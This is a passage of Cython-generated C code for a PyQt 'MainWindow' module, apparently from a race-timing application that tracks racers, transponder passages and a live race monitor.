self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_Racer), title) * */ __pyx_tuple__12 = PyTuple_Pack(2, __pyx_n_u_MainWindow, __pyx_n_u_Concurrents); if (unlikely(!__pyx_tuple__12)) __PYX_ERR(0, 229, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__12); __Pyx_GIVEREF(__pyx_tuple__12); /* "MainWindow.py":240 * * def updateMonitor(self): * def setLine(self, color, row, column, text): # <<<<<<<<<<<<<< * try: * brush = QBrush(color) */ __pyx_tuple__13 = PyTuple_Pack(8, __pyx_n_s_self, __pyx_n_s_color, __pyx_n_s_row, __pyx_n_s_column, __pyx_n_s_text, __pyx_n_s_brush, __pyx_n_s_i, __pyx_n_s_e); if (unlikely(!__pyx_tuple__13)) __PYX_ERR(0, 240, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__13); __Pyx_GIVEREF(__pyx_tuple__13); __pyx_codeobj__14 = (PyObject*)__Pyx_PyCode_New(5, 0, 8, 0, 0, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__13, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_home_thor_Devel_Transponder_Chr, __pyx_n_s_setLine, 240, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__14)) __PYX_ERR(0, 240, __pyx_L1_error) /* "MainWindow.py":252 * print( e ) * * self.TM_T_passage.setSortingEnabled(False) # <<<<<<<<<<<<<< * for task in Globals.receiver: * r = Globals.receiver[task] */ __pyx_tuple__15 = PyTuple_Pack(1, Py_False); if (unlikely(!__pyx_tuple__15)) __PYX_ERR(0, 252, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__15); __Pyx_GIVEREF(__pyx_tuple__15); /* "MainWindow.py":302 * r = self.TM_T_passage.rowCount() * if r > 40: * self.TM_T_passage.removeRow(0) # <<<<<<<<<<<<<< * r = 40 * self.TM_T_passage.insertRow( r ) */ __pyx_tuple__16 = PyTuple_Pack(1, __pyx_int_0); if (unlikely(!__pyx_tuple__16)) __PYX_ERR(0, 302, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__16); __Pyx_GIVEREF(__pyx_tuple__16); /* "MainWindow.py":324 * * except Exception as e: * print("in updateNonitor") # <<<<<<<<<<<<<< * print( e ) * */ __pyx_tuple__17 = PyTuple_Pack(1, __pyx_kp_u_in_updateNonitor); if (unlikely(!__pyx_tuple__17)) __PYX_ERR(0, 324, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__17); __Pyx_GIVEREF(__pyx_tuple__17); /* "MainWindow.py":330 * self.connectActions() * self.initGui() * self.R_RaceLive.setColumnHidden(0, True) # <<<<<<<<<<<<<< * self.R_RaceLive.setColumnHidden(1, True) * self.R_RaceLive.setColumnHidden(2, True) */ __pyx_tuple__18 = PyTuple_Pack(2, __pyx_int_0, Py_True); if (unlikely(!__pyx_tuple__18)) __PYX_ERR(0, 330, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__18); __Pyx_GIVEREF(__pyx_tuple__18); /* "MainWindow.py":331 * self.initGui() * self.R_RaceLive.setColumnHidden(0, True) * self.R_RaceLive.setColumnHidden(1, True) # <<<<<<<<<<<<<< * self.R_RaceLive.setColumnHidden(2, True) * self.R_RaceLive.setColumnHidden(3, True) */ __pyx_tuple__19 = PyTuple_Pack(2, __pyx_int_1, Py_True); if (unlikely(!__pyx_tuple__19)) __PYX_ERR(0, 331, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__19); __Pyx_GIVEREF(__pyx_tuple__19); /* "MainWindow.py":332 * self.R_RaceLive.setColumnHidden(0, True) * self.R_RaceLive.setColumnHidden(1, True) * self.R_RaceLive.setColumnHidden(2, True) # <<<<<<<<<<<<<< * self.R_RaceLive.setColumnHidden(3, True) * self.R_RaceLive.setColumnHidden(4, True) */ __pyx_tuple__20 = PyTuple_Pack(2, __pyx_int_2, Py_True); if (unlikely(!__pyx_tuple__20)) __PYX_ERR(0, 332, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__20); __Pyx_GIVEREF(__pyx_tuple__20); /* "MainWindow.py":333 * self.R_RaceLive.setColumnHidden(1, True) * self.R_RaceLive.setColumnHidden(2, True) * self.R_RaceLive.setColumnHidden(3, True) # <<<<<<<<<<<<<< * self.R_RaceLive.setColumnHidden(4, True) * self.R_RaceLive.setColumnHidden(5, True) */ __pyx_tuple__21 = PyTuple_Pack(2, __pyx_int_3, Py_True); if (unlikely(!__pyx_tuple__21)) __PYX_ERR(0, 333, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__21); __Pyx_GIVEREF(__pyx_tuple__21); /* "MainWindow.py":334 * self.R_RaceLive.setColumnHidden(2, True) * self.R_RaceLive.setColumnHidden(3, True) * self.R_RaceLive.setColumnHidden(4, True) # <<<<<<<<<<<<<< * self.R_RaceLive.setColumnHidden(5, True) * */ __pyx_tuple__22 = PyTuple_Pack(2, __pyx_int_4, Py_True); if (unlikely(!__pyx_tuple__22)) __PYX_ERR(0, 334, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__22); __Pyx_GIVEREF(__pyx_tuple__22); /* "MainWindow.py":335 * self.R_RaceLive.setColumnHidden(3, True) * self.R_RaceLive.setColumnHidden(4, True) * self.R_RaceLive.setColumnHidden(5, True) # <<<<<<<<<<<<<< * * self.timer = QTimer() */ __pyx_tuple__23 = PyTuple_Pack(2, __pyx_int_5, Py_True); if (unlikely(!__pyx_tuple__23)) __PYX_ERR(0, 335, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__23); __Pyx_GIVEREF(__pyx_tuple__23); /* "MainWindow.py":339 * self.timer = QTimer() * self.timer.timeout.connect(self.updateMonitor) * self.timer.start(1000) # <<<<<<<<<<<<<< * self.show() */ __pyx_tuple__24 = PyTuple_Pack(1, __pyx_int_1000); if (unlikely(!__pyx_tuple__24)) __PYX_ERR(0, 339, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__24); __Pyx_GIVEREF(__pyx_tuple__24); /* "MainWindow.py":36 * __ActualRace = None * * def getActualRace(self): # <<<<<<<<<<<<<< * return self.__ActualRace * */ __pyx_tuple__25 = PyTuple_Pack(1, __pyx_n_s_self); if (unlikely(!__pyx_tuple__25)) __PYX_ERR(0, 36, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__25); __Pyx_GIVEREF(__pyx_tuple__25); __pyx_codeobj__26 = (PyObject*)__Pyx_PyCode_New(1, 0, 1, 0, 0, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__25, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_home_thor_Devel_Transponder_Chr, __pyx_n_s_getActualRace, 36, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__26)) __PYX_ERR(0, 36, __pyx_L1_error) /* "MainWindow.py":39 * return self.__ActualRace * * def getRacer(self): # <<<<<<<<<<<<<< * return self.__RacerEdited * */ __pyx_tuple__27 = PyTuple_Pack(1, __pyx_n_s_self); if (unlikely(!__pyx_tuple__27)) __PYX_ERR(0, 39, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__27); __Pyx_GIVEREF(__pyx_tuple__27); __pyx_codeobj__28 = (PyObject*)__Pyx_PyCode_New(1, 0, 1, 0, 0, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__27, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_home_thor_Devel_Transponder_Chr, __pyx_n_s_getRacer, 39, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__28)) __PYX_ERR(0, 39, __pyx_L1_error) /* "MainWindow.py":42 * return self.__RacerEdited * * def setRacer(self, theRacer): # <<<<<<<<<<<<<< * self.__RacerEdited = theRacer * */ __pyx_tuple__29 = PyTuple_Pack(2, __pyx_n_s_self, __pyx_n_s_theRacer); if (unlikely(!__pyx_tuple__29)) __PYX_ERR(0, 42, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__29); __Pyx_GIVEREF(__pyx_tuple__29); __pyx_codeobj__30 = (PyObject*)__Pyx_PyCode_New(2, 0, 2, 0, 0, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__29, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_home_thor_Devel_Transponder_Chr, __pyx_n_s_setRacer, 42, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__30)) __PYX_ERR(0, 42, __pyx_L1_error) /* "MainWindow.py":45 * self.__RacerEdited = theRacer * * def __init__(self, parent=None): # <<<<<<<<<<<<<< * super(MainWindow, self).__init__(parent) * self.setupUi(self) */ __pyx_tuple__31 = PyTuple_Pack(2, __pyx_n_s_self, __pyx_n_s_parent); if (unlikely(!__pyx_tuple__31)) __PYX_ERR(0, 45, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__31); __Pyx_GIVEREF(__pyx_tuple__31); __pyx_codeobj__32 = (PyObject*)__Pyx_PyCode_New(2, 0, 2, 0, 0, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__31, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_home_thor_Devel_Transponder_Chr, __pyx_n_s_init, 45, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__32)) __PYX_ERR(0, 45, __pyx_L1_error) __pyx_tuple__33 = PyTuple_Pack(1, ((PyObject *)Py_None)); if (unlikely(!__pyx_tuple__33)) __PYX_ERR(0, 45, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__33); __Pyx_GIVEREF(__pyx_tuple__33); /* "MainWindow.py":49 * self.setupUi(self) * * def connectActions(self): # <<<<<<<<<<<<<< * self.actionQuitter.triggered.connect( QtWidgets.qApp.quit ) * self.L_racerlist.itemDoubleClicked.connect( self.editRacer) */ __pyx_tuple__34 = PyTuple_Pack(1, __pyx_n_s_self); if (unlikely(!__pyx_tuple__34)) __PYX_ERR(0, 49, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__34); __Pyx_GIVEREF(__pyx_tuple__34); __pyx_codeobj__35 = (PyObject*)__Pyx_PyCode_New(1, 0, 1, 0, 0, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__34, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_home_thor_Devel_Transponder_Chr, __pyx_n_s_connectActions, 49, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__35)) __PYX_ERR(0, 49, __pyx_L1_error) /* "MainWindow.py":62 * self.B_Define.currentIndexChanged.connect( manageRace.requestDefine ) * * def startRace(self): # <<<<<<<<<<<<<< * if self.__ActualRace == None: * print("Starting Race") */ __pyx_tuple__36 = PyTuple_Pack(1, __pyx_n_s_self); if (unlikely(!__pyx_tuple__36)) __PYX_ERR(0, 62, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__36); __Pyx_GIVEREF(__pyx_tuple__36); __pyx_codeobj__37 = (PyObject*)__Pyx_PyCode_New(1, 0, 1, 0, 0, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__36, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_home_thor_Devel_Transponder_Chr, __pyx_n_s_startRace, 62, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__37)) __PYX_ERR(0, 62, __pyx_L1_error) /* "MainWindow.py":70 * print("Race allready running") * * def setRacerTb(self, item): # <<<<<<<<<<<<<< * row = self.TM_T_passage.currentRow() * dlg = Set_RacerTp() */ __pyx_tuple__38 = PyTuple_Pack(6, __pyx_n_s_self, __pyx_n_s_item, __pyx_n_s_row, __pyx_n_s_dlg, __pyx_n_s_d_2, __pyx_n_s_tp); if (unlikely(!__pyx_tuple__38)) __PYX_ERR(0, 70, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__38); __Pyx_GIVEREF(__pyx_tuple__38); __pyx_codeobj__39 = (PyObject*)__Pyx_PyCode_New(2, 0, 6, 0, 0, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__38, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_home_thor_Devel_Transponder_Chr, __pyx_n_s_setRacerTb, 70, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__39)) __PYX_ERR(0, 70, __pyx_L1_error) /* "MainWindow.py":82 * tpRacerList[ Globals.C_concurrents_TP_fmt%tp]=dlg.r_item.data(Globals.UserRole) * * def addRacer(self): # <<<<<<<<<<<<<< * item = QtWidgets.QListWidgetItem() * item.setText( "Nouveau" ) */ __pyx_tuple__40 = PyTuple_Pack(4, __pyx_n_s_self, __pyx_n_s_item, __pyx_n_s_c, __pyx_n_s_title); if (unlikely(!__pyx_tuple__40)) __PYX_ERR(0, 82, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__40); __Pyx_GIVEREF(__pyx_tuple__40); __pyx_codeobj__41 = (PyObject*)__Pyx_PyCode_New(1, 0, 4, 0, 0, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__40, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_home_thor_Devel_Transponder_Chr, __pyx_n_s_addRacer, 82, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__41)) __PYX_ERR(0, 82, __pyx_L1_error) /* "MainWindow.py":96 * Globals.racerList[ Globals.C_concurrents_ID_fmt%( len(Globals.racerList)+10001 )] = c * * def findNpa(self): # <<<<<<<<<<<<<< * try: * fn = self.R_Npa.text() */ __pyx_tuple__42 = PyTuple_Pack(5, __pyx_n_s_self, __pyx_n_s_fn, __pyx_n_s_pa, __pyx_n_s_c, __pyx_n_s_e); if (unlikely(!__pyx_tuple__42)) __PYX_ERR(0, 96, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__42); __Pyx_GIVEREF(__pyx_tuple__42); __pyx_codeobj__43 = (PyObject*)__Pyx_PyCode_New(1, 0, 5, 0, 0, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__42, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_home_thor_Devel_Transponder_Chr, __pyx_n_s_findNpa, 96, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__43)) __PYX_ERR(0, 96, __pyx_L1_error) /* "MainWindow.py":108 * return * * def findVille(self): # <<<<<<<<<<<<<< * try: * fn = self.R_City.text() */ __pyx_tuple__44 = PyTuple_Pack(5, __pyx_n_s_self, __pyx_n_s_fn, __pyx_n_s_pa, __pyx_n_s_c, __pyx_n_s_e); if (unlikely(!__pyx_tuple__44)) __PYX_ERR(0, 108, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__44); __Pyx_GIVEREF(__pyx_tuple__44); __pyx_codeobj__45 = (PyObject*)__Pyx_PyCode_New(1, 0, 5, 0, 0, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__44, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_home_thor_Devel_Transponder_Chr, __pyx_n_s_findVille, 108, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__45)) __PYX_ERR(0, 108, __pyx_L1_error) /* "MainWindow.py":124 * return * * def findNumRacer(self): # <<<<<<<<<<<<<< * try: * fn = int( self.findNumber.text() ) */ __pyx_tuple__46 = PyTuple_Pack(3, __pyx_n_s_self, __pyx_n_s_fn, __pyx_n_s_item); if (unlikely(!__pyx_tuple__46)) __PYX_ERR(0, 124, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__46); __Pyx_GIVEREF(__pyx_tuple__46); __pyx_codeobj__47 = (PyObject*)__Pyx_PyCode_New(1, 0, 3, 0, 0, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__46, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_home_thor_Devel_Transponder_Chr, __pyx_n_s_findNumRacer, 124, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__47)) __PYX_ERR(0, 124, __pyx_L1_error) /* "MainWindow.py":134 * self.editRacer( item[0] ) * * def editRacer(self, item): # <<<<<<<<<<<<<< * id = item.data(Globals.UserRole) * print (id) */ __pyx_tuple__48 = PyTuple_Pack(14, __pyx_n_s_self, __pyx_n_s_item, __pyx_n_s_id, __pyx_n_s_racer, __pyx_n_s_oldracerItem, __pyx_n_s_rl, __pyx_n_s_rf, __pyx_n_s_rn, __pyx_n_s_rt, __pyx_n_s_rm, __pyx_n_s_rp, __pyx_n_s_rc, __pyx_n_s_pa, __pyx_n_s_oldracer); if (unlikely(!__pyx_tuple__48)) __PYX_ERR(0, 134, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__48); __Pyx_GIVEREF(__pyx_tuple__48); __pyx_codeobj__49 = (PyObject*)__Pyx_PyCode_New(2, 0, 14, 0, 0, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__48, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_home_thor_Devel_Transponder_Chr, __pyx_n_s_editRacer, 134, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__49)) __PYX_ERR(0, 134, __pyx_L1_error) /* "MainWindow.py":197 * self.findNpa() * * def initGuiPays(self): # <<<<<<<<<<<<<< * self.pays = T_Pays() * self.R_Pays.clear() */ __pyx_tuple__50 = PyTuple_Pack(3, __pyx_n_s_self, __pyx_n_s_i, __pyx_n_s_c); if (unlikely(!__pyx_tuple__50)) __PYX_ERR(0, 197, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__50); __Pyx_GIVEREF(__pyx_tuple__50); __pyx_codeobj__51 = (PyObject*)__Pyx_PyCode_New(1, 0, 3, 0, 0, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__50, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_home_thor_Devel_Transponder_Chr, __pyx_n_s_initGuiPays, 197, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__51)) __PYX_ERR(0, 197, __pyx_L1_error) /* "MainWindow.py":206 * i += 1 * * def initGuiMarques(self): # <<<<<<<<<<<<<< * self.marques = T_Marques() * self.R_brandMenu.clear() */ __pyx_tuple__52 = PyTuple_Pack(2, __pyx_n_s_self, __pyx_n_s_c); if (unlikely(!__pyx_tuple__52)) __PYX_ERR(0, 206, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__52); __Pyx_GIVEREF(__pyx_tuple__52); __pyx_codeobj__53 = (PyObject*)__Pyx_PyCode_New(1, 0, 2, 0, 0, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__52, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_home_thor_Devel_Transponder_Chr, __pyx_n_s_initGuiMarques, 206, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__53)) __PYX_ERR(0, 206, __pyx_L1_error) /* "MainWindow.py":213 * self.R_brandMenu.addItem(c['nom'], c['id']) * * def initListConcurrents(self): # <<<<<<<<<<<<<< * self.L_racerlist.setSortingEnabled(True) * self.concurrents = T_Concurrents() */ __pyx_tuple__54 = PyTuple_Pack(2, __pyx_n_s_self, __pyx_n_s_c); if (unlikely(!__pyx_tuple__54)) __PYX_ERR(0, 213, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__54); __Pyx_GIVEREF(__pyx_tuple__54); __pyx_codeobj__55 = (PyObject*)__Pyx_PyCode_New(1, 0, 2, 0, 0, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__54, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_home_thor_Devel_Transponder_Chr, __pyx_n_s_initListConcurrents, 213, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__55)) __PYX_ERR(0, 213, __pyx_L1_error) /* "MainWindow.py":221 * Globals.racerList[ Globals.C_concurrents_ID_fmt%( c['id'] )] = c * * def initGuiConcurrents(self): # <<<<<<<<<<<<<< * for id in Globals.racerList: * i = Globals.racerList[id] */ __pyx_tuple__56 = PyTuple_Pack(5, __pyx_n_s_self, __pyx_n_s_id, __pyx_n_s_i, __pyx_n_s_item, __pyx_n_s_title); if (unlikely(!__pyx_tuple__56)) __PYX_ERR(0, 221, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__56); __Pyx_GIVEREF(__pyx_tuple__56); __pyx_codeobj__57 = (PyObject*)__Pyx_PyCode_New(1, 0, 5, 0, 0, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__56, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_home_thor_Devel_Transponder_Chr, __pyx_n_s_initGuiConcurrents, 221, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__57)) __PYX_ERR(0, 221, __pyx_L1_error) /* "MainWindow.py":232 * self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_Racer), title) * * def initGui(self): # <<<<<<<<<<<<<< * self.t_ville = T_Ville() * self.initGuiPays() */ __pyx_tuple__58 = PyTuple_Pack(1, __pyx_n_s_self); if (unlikely(!__pyx_tuple__58)) __PYX_ERR(0, 232, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__58); __Pyx_GIVEREF(__pyx_tuple__58); __pyx_codeobj__59 = (PyObject*)__Pyx_PyCode_New(1, 0, 1, 0, 0, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__58, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_home_thor_Devel_Transponder_Chr, __pyx_n_s_initGui, 232, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__59)) __PYX_ERR(0, 232, __pyx_L1_error) /* "MainWindow.py":239 * self.initGuiConcurrents() * * def updateMonitor(self): # <<<<<<<<<<<<<< * def setLine(self, color, row, column, text): * try: */ __pyx_tuple__60 = PyTuple_Pack(15, __pyx_n_s_self, __pyx_n_s_setLine, __pyx_n_s_setLine, __pyx_n_s_task, __pyx_n_s_r, __pyx_n_s_pos, __pyx_n_s_q, __pyx_n_s_e, __pyx_n_s_tp, __pyx_n_s_millis, __pyx_n_s_type, __pyx_n_s_color, __pyx_n_s_tt, __pyx_n_s_c, __pyx_n_s_lap); if (unlikely(!__pyx_tuple__60)) __PYX_ERR(0, 239, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__60); __Pyx_GIVEREF(__pyx_tuple__60); __pyx_codeobj__61 = (PyObject*)__Pyx_PyCode_New(1, 0, 15, 0, 0, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__60, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_home_thor_Devel_Transponder_Chr, __pyx_n_s_updateMonitor, 239, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__61)) __PYX_ERR(0, 239, __pyx_L1_error) /* "MainWindow.py":327 * print( e ) * * def main(self): # <<<<<<<<<<<<<< * self.connectActions() * self.initGui() */ __pyx_tuple__62 = PyTuple_Pack(1, __pyx_n_s_self); if (unlikely(!__pyx_tuple__62)) __PYX_ERR(0, 327, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__62); __Pyx_GIVEREF(__pyx_tuple__62); __pyx_codeobj__63 = (PyObject*)__Pyx_PyCode_New(1, 0, 1, 0, 0, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__62, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_home_thor_Devel_Transponder_Chr, __pyx_n_s_main, 327, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__63)) __PYX_ERR(0, 327, __pyx_L1_error) __Pyx_RefNannyFinishContext(); return 0; __pyx_L1_error:; __Pyx_RefNannyFinishContext(); return -1; } static int __Pyx_InitGlobals(void) { if (__Pyx_InitStrings(__pyx_string_tab) < 0) __PYX_ERR(0, 1, __pyx_L1_error); __pyx_float_0_999999999 = PyFloat_FromDouble(0.999999999); if (unlikely(!__pyx_float_0_999999999)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_0 = PyInt_FromLong(0); if (unlikely(!__pyx_int_0)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_1 = PyInt_FromLong(1); if (unlikely(!__pyx_int_1)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_2 = PyInt_FromLong(2); if (unlikely(!__pyx_int_2)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_3 = PyInt_FromLong(3); if (unlikely(!__pyx_int_3)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_4 = PyInt_FromLong(4); if (unlikely(!__pyx_int_4)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_5 = PyInt_FromLong(5); if (unlikely(!__pyx_int_5)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_12 = PyInt_FromLong(12); if (unlikely(!__pyx_int_12)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_40 = PyInt_FromLong(40); if (unlikely(!__pyx_int_40)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_1000 = PyInt_FromLong(1000); if (unlikely(!__pyx_int_1000)) __PYX_ERR(0, 1, __pyx_L1_error) return 0; __pyx_L1_error:; return -1; } #if PY_MAJOR_VERSION < 3 PyMODINIT_FUNC initMainWindow(void); /*proto*/ PyMODINIT_FUNC initMainWindow(void) #else PyMODINIT_FUNC PyInit_MainWindow(void); /*proto*/ PyMODINIT_FUNC PyInit_MainWindow(void) #endif { PyObject *__pyx_t_1 = NULL; PyObject *__pyx_t_2 = NULL; PyObject *__pyx_t_3 = NULL; PyObject *__pyx_t_4 = NULL; PyObject *__pyx_t_5 = NULL; PyObject *__pyx_t_6 = NULL; __Pyx_RefNannyDeclarations #if CYTHON_REFNANNY __Pyx_RefNanny = __Pyx_RefNannyImportAPI("refnanny"); if (!__Pyx_RefNanny) { PyErr_Clear(); __Pyx_RefNanny = __Pyx_RefNannyImportAPI("Cython.Runtime.refnanny"); if (!__Pyx_RefNanny) Py_FatalError("failed to import 'refnanny' module"); } #endif __Pyx_RefNannySetupContext("PyMODINIT_FUNC PyInit_MainWindow(void)", 0); if (__Pyx_check_binary_version() < 0) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_empty_tuple = PyTuple_New(0); if (unlikely(!__pyx_empty_tuple)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_empty_bytes = PyBytes_FromStringAndSize("", 0); if (unlikely(!__pyx_empty_bytes)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_empty_unicode = PyUnicode_FromStringAndSize("", 0); if (unlikely(!__pyx_empty_unicode)) __PYX_ERR(0, 1, __pyx_L1_error) #ifdef __Pyx_CyFunction_USED if (__pyx_CyFunction_init() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #endif #ifdef __Pyx_FusedFunction_USED if (__pyx_FusedFunction_init() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #endif #ifdef __Pyx_Coroutine_USED if (__pyx_Coroutine_init() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #endif #ifdef __Pyx_Generator_USED if (__pyx_Generator_init() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #endif #ifdef __Pyx_StopAsyncIteration_USED if (__pyx_StopAsyncIteration_init() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #endif /*--- Library function declarations ---*/ /*--- Threads initialization code ---*/ #if defined(__PYX_FORCE_INIT_THREADS) && __PYX_FORCE_INIT_THREADS #ifdef WITH_THREAD /* Python build with threading support? */ PyEval_InitThreads(); #endif #endif /*--- Module creation code ---*/ #if PY_MAJOR_VERSION < 3 __pyx_m = Py_InitModule4("MainWindow", __pyx_methods, 0, 0, PYTHON_API_VERSION); Py_XINCREF(__pyx_m); #else __pyx_m = PyModule_Create(&__pyx_moduledef); #endif if (unlikely(!__pyx_m)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_d = PyModule_GetDict(__pyx_m); if (unlikely(!__pyx_d)) __PYX_ERR(0, 1, __pyx_L1_error) Py_INCREF(__pyx_d); __pyx_b = PyImport_AddModule(__Pyx_BUILTIN_MODULE_NAME); if (unlikely(!__pyx_b)) __PYX_ERR(0, 1, __pyx_L1_error) #if CYTHON_COMPILING_IN_PYPY Py_INCREF(__pyx_b); #endif if (PyObject_SetAttrString(__pyx_m, "__builtins__", __pyx_b) < 0) __PYX_ERR(0, 1, __pyx_L1_error); /*--- Initialize various global constants etc. ---*/ if (__Pyx_InitGlobals() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #if PY_MAJOR_VERSION < 3 && (__PYX_DEFAULT_STRING_ENCODING_IS_ASCII || __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT) if (__Pyx_init_sys_getdefaultencoding_params() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #endif if (__pyx_module_is_main_MainWindow) { if (PyObject_SetAttrString(__pyx_m, "__name__", __pyx_n_s_main_2) < 0) __PYX_ERR(0, 1, __pyx_L1_error) } #if PY_MAJOR_VERSION >= 3 { PyObject *modules = PyImport_GetModuleDict(); if (unlikely(!modules)) __PYX_ERR(0, 1, __pyx_L1_error) if (!PyDict_GetItemString(modules, "MainWindow")) { if (unlikely(PyDict_SetItemString(modules, "MainWindow", __pyx_m) < 0)) __PYX_ERR(0, 1, __pyx_L1_error) } } #endif /*--- Builtin init code ---*/ if (__Pyx_InitCachedBuiltins() < 0) __PYX_ERR(0, 1, __pyx_L1_error) /*--- Constants init code ---*/ if (__Pyx_InitCachedConstants() < 0) __PYX_ERR(0, 1, __pyx_L1_error) /*--- Global init code 